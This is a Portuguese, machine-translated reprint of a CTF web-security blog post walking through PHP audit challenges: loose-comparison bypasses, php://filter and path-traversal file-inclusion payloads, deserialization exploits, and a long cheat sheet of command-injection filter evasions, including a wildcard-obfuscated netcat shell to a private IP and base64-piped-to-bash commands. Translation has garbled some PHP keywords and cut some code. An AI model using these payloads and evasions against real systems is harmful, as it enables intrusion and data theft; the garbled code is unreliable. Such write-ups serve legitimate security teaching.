perguntas introdutórias de auditoria do ctf_web

Auditoria de código

Julgamento frouxo

Título: Atacar e defender o mundo

<?php 
destaque_file(__FILE__); 
$key1 = 0; 
$key2 = 0; 

$a = $_GET['a']; 
$b = $_GET['b']; 

if(isset($a) && intval( $a) > 6000000 && strlen($a) <= 3){ 
    //O valor de a é maior que 6 milhões e o comprimento máximo é 3-->Notação científica 
    //Os últimos seis dígitos de md5 de b são iguais para 8b184b 
    if(isset($ b) && '8b184b' === substr(md5($b),-6,6)){ 
        $key1 = 1; 
        }else{ 
            die("Emmm...Pense novamente") ; 
        } 
    }else{ 
    die ("Emmm..."); 
} 

$c=(array)json_decode(@$_GET['c']); 
//Passe um array c e o valor de key=m não é um número e é maior que 2022-->m :2023a 
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ 
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
 /* Para avaliar o valor com a chave n, n deve ser um array, o número de valores deve ser 2 e o primeiro valor de n deve ser um 
  array. Isso é "n":[[],xxx] */      
        $d = array_search("DGGJ", $c["n"]);//n: Deve haver DGGJ nele, caso contrário die() diretamente 
        $d === false?die("no..."):NULL; 
        foreach($c["n"] as $key=>$val){//Loop para ver se o array contém DGGJ, se sim, die () diretamente. 
            $val==="DGGJ"?die("não......"):NULL; 
        } 
        $key2 = 1; 
    }else{ 
        die("no hack"); 
    } 
}else{ 
    die("não" ); } 
if 

($key1 && $key2){//Se key1 e key2 forem ambos 1, obtenha o sinalizador 
    include "Hgfks.php"; 
    echo "Você está certo". "\n"; 
    eco $ bandeira; 
} 

?> Emmm...

Linguagens de tipo fraco não têm restrições quanto ao tipo de dados das variáveis. As variáveis ​​​​podem ser atribuídas a variáveis ​​​​de qualquer outro tipo e as variáveis ​​​​podem ser convertidas em dados de qualquer outro tipo.

Se você comparar um número com uma string ou comparar uma string contendo conteúdo numérico, a string será convertida em um valor numérico e a comparação será executada como um valor numérico.

e qualquer string é igual a true em comparação flexível

1 == "1admin";//true 
0 == "admin1";//true 
1 == "adm1in";//false 
0 == "adm1in";//true 
//Se você usar false e null com string E quanto às comparações de array? 
//Eles não serão convertidos para o tipo int, então o resultado é assim: 
in_array(null, ['a', 'b', 'c']) //false 
in_array(false, ['a', 'b ', 'c']) //false 
//Há outro fenômeno estranho: 
in_array('a', [true, 'b', 'c']) // true 
array_search('a', [true, 'b ', 'c']) // int(0) 
//Porque em comparação livre, qualquer string é igual a true.
?a=6e9&b=53724&c={"m":"2023a","n":[[],0]}

Análise:

  1. A notação científica 6e9 é maior que seis milhões
  2. Os últimos seis dígitos do valor md5 de 53724 são 8b184b
  3. c[] é uma matriz
  4. c["m"]=="2023a"Maior que 2023 e não um número
  5. c[] tem dois pares de valores-chave que satisfazemcount($c["n"]) == 2
  6. c["n"]==[[],0]satisfazeris_array($c["n"][0]
  7. c["n"]==[[],0]0 in pode ser satisfeito $d = array_search("DGGJ", $c["n"]);, 0 corresponde a "DGGJ"

Outros tipos fracos

desvio json

<?php 
  if (isset($_POST['message'])) { 
      $message = json_decode($_POST['message']); 
      $chave="*********"; 
      if ($mensagem->key == $key) { 
          echo "flag"; 
      }else { 
      	echo "falha"; 
  		} 
  }else{ 
      echo "~~~~"; 
  } 
?>

A função json_decode() irá descriptografar os parâmetros em um array e determinar se eles são iguais ao valor da chave. Como não sabemos o valor da chave, podemos usar este método para contorná-la 0=="admin".

ignorar array_search

$c=(array)json_decode(@$_GET['c']); 
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ if(is_array( 
    @$c["n"]) && count($c ["n"]) == 2 && is_array($c["n"][0])){ 
        $d = array_search("DGGJ", $c["n"]); 
        $d === falso?die("não..."):NULL; 
        foreach($c["n"] as $key=>$val){ 
            $val==="DGGJ"?die("não......"):NULL; 
        } 
        $chave2 = 1; 
    }else{ 
        morrer("sem hack"); 
    } 
}else{ 
    morrer("não"); 
}

Introdução ao array_search no manual oficial

array_search misto (misto $needle, array $haystack [, bool $strict = false])
  • $agulha - obrigatório
  • $ palheiro - obrigatório
  • $strict —— opcional: o padrão é falso, se definido como verdadeiro, a filtragem estrita será executada

Função: A função determina se o valor em $haystack existe em $needle e retorna a chave do valor, se existir.

desvio de strcmp

<?php 
	$senha="***************" 
  if( isset($_POST['senha']) ){ 
  	if(strcmp($_POST['senha'], $ senha) == 0) { 
  		echo "Certo!!! login bem sucedido"; 
  		saída(); 
  	} else { 
  		echo "Senha errada.."; 
  } 
?>

strcmp() compara duas strings e retorna 0 se forem iguais.

Não sabemos o valor de $password. O valor aceito julgado por strcmp deve ser igual a $password. O tipo esperado passado por strcmp é um tipo string. Podemos ignorá-lo passando password[]=xxx.

O arquivo contém

php://filtro

string.rot13

string.rot13 executa uma conversão ROT13 em uma string.A codificação ROT13 simplesmente substitui a letra atual pela 13ª letra do alfabeto, ignorando caracteres não alfabéticos .

php://filter/string.rot13/resource=flag.php

string.tolower

Converter string em minúscula

php://filter/string.strip_tags/resource=flag.php

string.strip_tags

string.strip_tags remove tags HTML e PHP de uma string e tenta retornar a string str fornecida com caracteres nulos, tags HTML e PHP removidas.

php://filter/string.strip_tags/resource=flag.php

convert.base64-encode&convert.base64-decode

php://filter/convert.base64-encode/resource=flag.php

convert.quoted-printable-encode & convert.quoted-printable-decode

Converter em caracteres imprimíveis

php://filter/convert.quoted-printable-encode/resource=flag.php

converter.iconv.*

Este filtro requer que o PHP suporte o iconv, que é compilado por padrão.

Usar filtros convert.iconv.* é equivalente a usar iconv()funções para processar todos os dados de fluxo.

convert.iconv.<codificação de entrada>.<codificação de saída> 
convert.iconv.<codificação de entrada>/<codificação de saída>
UCS-4* 
UCS-4BE 
UCS-4LE* 
UCS-2 
UCS-2BE 
UCS-2LE 
UTF-32* 
UTF-32BE* 
UTF-32LE* 
UTF-16* UTF 
-16BE* UTF- 
16LE* 
UTF-7 
UTF7-IMAP 
UTF-8* 
ASCII* 
EUC-JP* 
SJIS* 
eucJP-win* 
SJIS-win*

Por exemplo: Converter conteúdo da codificação UCS-2LE para UCS-2BE

php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php

zlib.deflate

php://filter/zlib.deflate/resource=flag.php

zlib.inflate

php://filter/zlib.deflate|zlib.inflate/resource=flag.php

aquecimento

Link da pergunta: Mundo de Ataque e Defesa

<?php 
    destaque_file(__FILE__); 
    class emmm 
    { 
        public static function checkFile(&$page) 
        { 
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];// Lista de permissões 
            if (! isset($page) || !is_string($page)) { 
                echo "você não consegue ver";//A página passada deve ser uma string 
                return false; 
            } 
            if (in_array($page) , $whitelist)) {//Se a página estiver na lista de permissões, retorne 1 
                return true; 
            } 
            $_page = mb_substr(//Função de truncamento de string 
                $page, 
                0, 
                mb_strpos($page . '?','?')//Retorna a posição onde o primeiro "?" aparece na página
            );//Para resumir, o valor antes do primeiro ponto de interrogação é atribuído à variável $_page 
            if (in_array($_page, $whitelist)) { 
                return true; 
            } 
          	//Se $_page estiver na lista de permissões, retorne 1 
            $_page = urldecode($page); 
          //Decodifique a URL da página e atribua-a a $_page 
            $_page = mb_substr( 
                $_page, 
                0, 
                mb_strpos($_page . '?', '?') ) 
            ; // A função é a mesma acima 
            if (in_array($_page, $whitelist)) { 
            //Enquanto _page estiver na lista de permissões (ou seja, enquanto o conteúdo entre os dois pontos de interrogação estiver na lista de permissões, ele retornará true) 
                return true; 
            } 
            echo "você não pode ver"; 
            return false; 
        }
    } 
 
    ( !vazio($_REQUEST['arquivo'])
        && is_string($_REQUEST['arquivo']) 
        && emmm::checkFile($_REQUEST['arquivo'])//checkfile返回值为1 
    ) { 
        include $_REQUEST['arquivo']; 
        saída; 
    } else { 
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; 
    }   
?>

Primeira verificação: se a página estiver na lista de permissões, retorne 1 diretamente

A segunda verificação: primeiro adicione um ponto de interrogação no final da página, depois atribua o conteúdo antes do primeiro ponto de interrogação à variável $_page para verificar se está na lista de permissões e retorne 1 se estiver.

A terceira verificação: decodifique o URL da página, adicione um ponto de interrogação no final e atribua o conteúdo antes do primeiro ponto de interrogação a $_page, depois verifique se está na lista de permissões e retorne 1 se estiver.

Se 1 for retornado, entre na função include() e use a vulnerabilidade de inclusão de arquivo para obter o sinalizador.

hint.php nos avisou que o sinalizador é ffffllllaaaagggg

/?file=hint.php?ffffllllaaaagggg

Aqui, ao inserir a segunda verificação, 1 é retornado e você pode inserir a função include(). No entanto, atualmente não sabemos em qual diretório o arquivo de sinalização está. Precisamos encontrá-lo camada por camada. A carga final: /?file=hint.php? ../../../../../ffffllllaaaagggg

Nota: A função include() não se preocupa com outros arquivos quando há ../ no caminho, portanto apenas este arquivo de flag é incluído no final.

Desserialização

Métodos mágicos comuns

  • __construir()

Chamado automaticamente quando uma classe é instanciada

  • __distruct()

Chamado automaticamente quando uma classe é destruída

  • __chamar()

Chamado automaticamente ao chamar um método que está inacessível ou não existe (semelhante a lançar uma exceção)

  • __callStatic()

Chamado automaticamente ao chamar um método estático inacessível ou inexistente

  • __pegar()

Chamado automaticamente ao acessar uma propriedade inacessível ou inexistente (semelhante a lançar uma exceção)

  • __definir()

Chamado automaticamente ao atribuir um valor a um atributo que não pode ser acessado ou não existe. O primeiro parâmetro obterá automaticamente o nome do atributo a ser atribuído, e o segundo parâmetro obterá automaticamente o valor.

  • __isset()

Este método é chamado automaticamente quando isset() ou vazio() é julgado por um atributo que não pode ser acessado ou não existe.

  • __unset()

Este método é chamado automaticamente quando unset() é julgado por um atributo que não pode ser acessado ou não existe.

  • __dormir()

Chamado automaticamente ao serializar serialize()

  • __acordar()

Chamado automaticamente quando unserialize() é executado

  • __para sequenciar()

Chamado automaticamente quando um objeto é usado como string

  • __invocar()

Quando um objeto é chamado com um método de função, o método é chamado automaticamente (também semelhante a lançar uma exceção)

  • __set_state()

Este método é chamado automaticamente ao exportar uma classe, e seu parâmetro 1 obterá automaticamente as propriedades da classe organizadas no formato array('property'=>value,...)

  • __debuginfo()

Usar var_dump() para ler o objeto irá acionar o método mágico

  • __unserialize()
  • __serialize()

Se uma classe tiver __unserialize() e __wakeup(), então o conteúdo em __unserialize() será executado, mas __wakeup() não

  • __clone()

O método clone() é chamado automaticamente quando o objeto é copiado.

Copo de tripé líquido

https://buuoj.cn/challenges[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E9%9D%92%E9%BE%99%E7%BB%84 ]AreUSerialz

<?php 
include("flag.php"); 
destaque_file(__FILE__); 
class FileHandler { 
    protected $op;//protegido modificador protegido, um membro de classe definido como uma classe protegida pode ser protegido por si mesmo e por suas subclasses e acesso à classe pai 
    protected $filename; 
    protected $content; 
    function __construct() {//Constructor 
        $op = "1"; 
        $filename = "/tmp/tmpfile"; 
        $content = "Olá, mundo!"; 
        $this->process();//->Object chama a função da classe 
    } 
    public function process() {//método de processo 
        if($this->op == "1") { 
            $this-> write(); //Se op=1, execute a função write 
        } else if($this->op == "2") {//Observe que esta é uma comparação fraca  
            $res = $this->read();
        //Se op=2, execute a leitura A função concluirá a operação Atribuição de valor res e, em seguida, colocará $ res na função de saída
            $this->output($res); 
        } else { 
            $this->output("Bad Hacker!"); 
        } 
    } 
    private function write() { 
        if(isset($this->filename) && isset($this- >content))//Determine se o nome do arquivo e o conteúdo estão vazios { 
            if(strlen((string)$this->content) > 100) {//Determine se o comprimento do conteúdo é maior que 100 
                $this->output(" Muito longo! "); 
                die(); 
            } 
            $res = file_put_contents($this->filename, $this->content);//file_put_contents grava uma string no arquivo 
        $res = ""; 
        if(isset($this->filename)) { 
            if($res) $this->output("Successful!"); 
            else $this->output("Falha!"); 
        } else {
            $this->output("Falha!"); 
        } 
    } 
    função privada read() { 
            $res = file_get_contents($this->filename); 
        } 
        retornar $res; 
    } 
    saída de função privada($s) {//输出函数
        echo "[Resultado]: 
        if(!
if(isset($_GET{'str'})) { 
    $str = (string)$_GET['str']; 
    if(is_valid($str)) { 
        $obj = unserialize($str); 
    } 
}

Processo de execução de código

Nota: A função __construct() não será chamada automaticamente, mas __distruct() será chamada automaticamente.

is_valid() Os códigos ascii de todos os caracteres devem estar no intervalo [32, 125]-->unserialize()-->__distruct() Se op for igual à string 2, altere-o para string 1-->process() deixe op igual à string 2, você pode ler o arquivo -> read() -> file_get_contents()

Ideias

Obviamente, o ponto mais crítico é a inspeção da operação por __distruct() e process().

Mas notamos que __distruct() é uma verificação de tipo forte para op, enquanto process() é uma verificação de tipo fraca. Queremos que não seja igual à string 2 em __distruct() mas igual à string 2 em process()

Então podemos usar a comparação de tipos fortes e fracos para tornar op igual ao número 2, porque o número 2 não é fortemente igual à string 2 (em __distruct()) e o número 2 é fracamente igual à string 2

No entanto, deve-se observar que existem caracteres não imprimíveis após a serialização de atributos de tipo protegido. Haverá %00*%00 caracteres. O código ASCII de %00 caracteres é 0, portanto, eles não podem passar na verificação is_valid() acima . %00 caracteres O código ascii é 0, portanto não é exibido. Haverá um * extra na frente da variável.

<?php 
class FileHandler { 
    public $op = 2; 
    public $filename = "flag.php"; 
    public $content; 
//Como a função destruct mudará o conteúdo para vazio, o valor do conteúdo é arbitrário (mas deve satisfazer is_valid () requisitos de função) 
} 
$a = new FileHandler(); 
$b = serialize($a); 
echo $b; 
?>

carga útil final

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"nome do arquivo";s:8:"flag.php";s:7:"content";N ;}

Copa do Artesão de Jiangsu

Atacar e defender o mundo

<?php 
class facilidade{ 
    private $method; 
    private $args; 
    //Atribuir um valor à variável e atribuir os parâmetros passados ​​ao método e aos argumentos por sua vez 
    function __construct($method, $args) { 
        $this->method = $ method; 
        $this->args = $args; 
    } 
    //Destrua a função. Se o método tiver o valor ping, chame esta função ping() com o parâmetro args 
    function __destruct(){ 
        if (in_array($this->method , array ("ping"))) { 
            call_user_func_array(array($this, $this->method), $this->args); } } 
        // 
    execução 
    do comando exec(), ou seja, usando args como um comando para execute 
    function ping( $ip){ 
        exec($ip, $result); 
        var_dump($result); 
    } 
    //Muitos caracteres são filtrados
    função waf($str){ 
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $ 
            str ; 
        } else { 
            echo "don't hack"; 
        } 
    } 
    //Método mágico de desserialização, comparação de lista negra de dados recebidos caractere por caractere 
    function __wakeup(){ 
        foreach($this->args as $k => $v) { //=>Par chave-valor do link, onde k é a chave e v é o valor 
            $this->args[$k] = $this->waf($v); } } } 
        $ 
    ctf    
= 
@ $_POST[ 'ctf']; 
//Isso nos lembra que existe um processo de decodificação base64 na desserialização em segundo plano, então precisamos codificar e depois POST 
@unserialize(base64_decode($ctf)); 
?>

Processo de execução de código

Passe a string ctf-->base64 decoding-->__construct()-->__wakeup()-->waf()-->unserialize()-->__destruct()-->call_user_func_array()-->exec ()

aprendizagem funcional

  1. exec(command,array): usado para executar um programa externo, ou seja, executar um comando recebido; armazenar os resultados da execução no array
  2. var_dump(): usado para determinar o tipo e comprimento de uma variável e gerar o valor da variável
  3. call_user_func_array():

(1) call_user_func_array (string, array) retorno de chamada da função global: string representa o nome da função a ser chamada, array é a lista de parâmetros, que é passada para a função chamada em ordem.

(2) Retorno de chamada do método estático da classe call_user_func_array(array(class_name,function_name),value):

class_name e function_name formam um array, que é o nome da classe e o nome da função respectivamente, e value ainda é a lista de parâmetros.

Ideia: O objetivo final é deixar a página executar o comando que demos, o que significa que a função exec() deve finalmente entrar em vigor -> deve chamar ping() -> deve usar call_user_func_array() -> deve passar Um objeto serializado com método ping e args o comando que desejamos. Resumindo, não é difícil resolver as seguintes operações:

1. Instancie uma facilidade, determine o tipo de parâmetro, serialize e passe em base64 para teste

2. O teste é eficaz e prova que a ideia está correta. Em seguida, precisamos encontrar uma maneira de inserir códigos perigosos, que é contornar o WAF.

geração de carga útil

<?php 
$a = array('a'=>'l""s${IFS}f""lag_1""s_here'); 
$carga útil = nova facilidade("ping",$a); 
$resultado = serialize($payload); 
eco base64_encode($resultado); 
?>

Como ignorar a filtragem de caracteres

  1. Insira ${Z}
  2. Inserir "" caractere nulo

Como ignorar a filtragem de espaços em branco

no Linux

  • {gato, bandeira.txt}
  • gato${IFS}flag.txt
  • gato$IFS$9flag.txt
  • gato<flag.txt
  • gato<>flag.txt
  • kg=$'\x20flag.txt'&&cat$kg

(\x20 é convertido em uma string e é um espaço, que é habilmente contornado pelo uso de variáveis)

sob janelas

(A praticidade não é muito ampla, então apenas o comando type pode ser utilizado)

  • tipo.\flag.txt
  • tipo, bandeira.txt
  • eco, 123456

Matriz encontrada(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }

Embora o caminho seja obtido, o acesso direto está em branco e requer cat. No entanto, a string pode ser ignorada, mas como ignorar "/"?

Novo conhecimento: a codificação Unicode pode ser executada como um comando no Linux

Octal\154-->Decimal 108-->código ascii-->Caracter I

Converta o comando em número octal e depois passe-o

O comando é convertido em código de linguagem C octal:

#include <stdio.h> 
int main(){ 
    char site[]="cat flag_1s_here/flag_831b69012c67b35f.php"; 
    for(int i = 0; i < tamanho do site / tamanho do site[0]; i++ ){ 
        printf("\\%o",site[i]); 
    } 
    retornar 0; 
}

obtive a resposta:\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160

carga útil final

$a = array('a'=>'$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');

Ao executar, printf será executado primeiro para restaurar nosso comando original (que foi comparado à lista negra neste momento) para obter o sinalizador.

Ignorar filtragem

Filtre palavras-chave como gato

  • c""at fl''ag.tx""t
  • c\at fl\at.tx\t
  • ca$1t fl$1ag.t$1xt

espaços de filtro

  • ${IFS}
  • <>
  • %09 (aplicável apenas ao ambiente PHP)

Ignorar lista negra

  • Emenda usando variáveis ​​de shell

a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;

  • Use crases para agrupar o comando codificado em base64

`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`

  • Passe o comando codificado em base64 para bash

echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash

Ignorar curinga

/???Ele procurará /arquivos com comprimento de três caracteres no diretório. Em circunstâncias normais, ele os encontrará /bine, em seguida, /?[a][t]os combinará primeiro /bin/cat. O comando cat será chamado com sucesso e, em seguida, curingas normais poderão ser usados ​​para combinar os arquivos com ser lido, como flag. O comprimento do nome do arquivo txt é 8. Se você usar 8 '?', este comando lerá todos os arquivos com comprimento 8.

/???/?[a][t] ?''?''?''?''?''?''?''?

/???/[m][o]?[e] ?''?''?''?''?''?''?''?

Até inicie um shell:

/???/[n]?[t]??[t] 192.168.1.3 4444

desvio de comprimento

Use >> para adicionar uma parte do comando ao arquivo por vez

echo -n "cmd1" > r;echo -n "cmd2" >> r;echo -n "cmd3" >> r;echo "cmd4" >> r;

Em seguida, cat r | bashexecute-o usando

Execute com nova linha ou ls -t:

ca\t sinalizador.t\xt

Use sh a para executar o comando cat flag.txt

ls -t pode gerar nomes de arquivos na ordem inversa do tempo de criação:

Então pode haver> "ag"> "fl\\"> "t \\"> "ca\\"

e então usels -t>s

Neste momento, o conteúdo do arquivo em s ésca\t \fl\ag\

Descriptografar

Link da pergunta: Mundo de Ataque e Defesa

<?php 
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; 
function encode($str){ 
    $_o=strrev($str);//Inverta a string 
    for($_0=0;$_0<strlen($_o);$_0++ ) {//Para cada caractere na string 
        $_c=substr($_o,$_0,1); 
        $__=ord($_c)+1;//ascii muda um bit para a direita 
        $_c=chr($ __ ); 
        $_=$_.$_c;    
    } 
    return str_rot13(strrev(base64_encode($_)));//codificação base64 
} 
destaque_file(__FILE__); 
?>

Processo de criptografia:

Reverter -> Deslocar para a direita 1 -> base64 -> Reverter -> Deslocar para a esquerda 13 oustrrev(右移(base64(strrev(str_rot13(明文)))))

Observe que ao descriptografar, você deve começar pelos colchetes externos e descriptografar camada por camada.

Descriptografia:

<?php 
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; 
função decodificar($str){ 
    $_o=base64_decode(strrev(str_rot13($str))); 
    for($_0=0;$_0<strlen($_o);$_0++){ 
       
        $_c=substr($_o,$_0,1); 
        $__=ord($_c)-1; 
        $_c=chr($__); 
        $_=$_.$_c;   
    } 
    return strrev($_); 
} 
echo decodificar($miwen); 
?>

Pode haver caracteres invisíveis no sinalizador de saída, portanto, se o envio estiver incorreto, basta digitá-lo novamente e enviar novamente.

Acho que você gosta

Origin blog.csdn.net/B_cecretary/article/details/127654208
Recomendado
Clasificación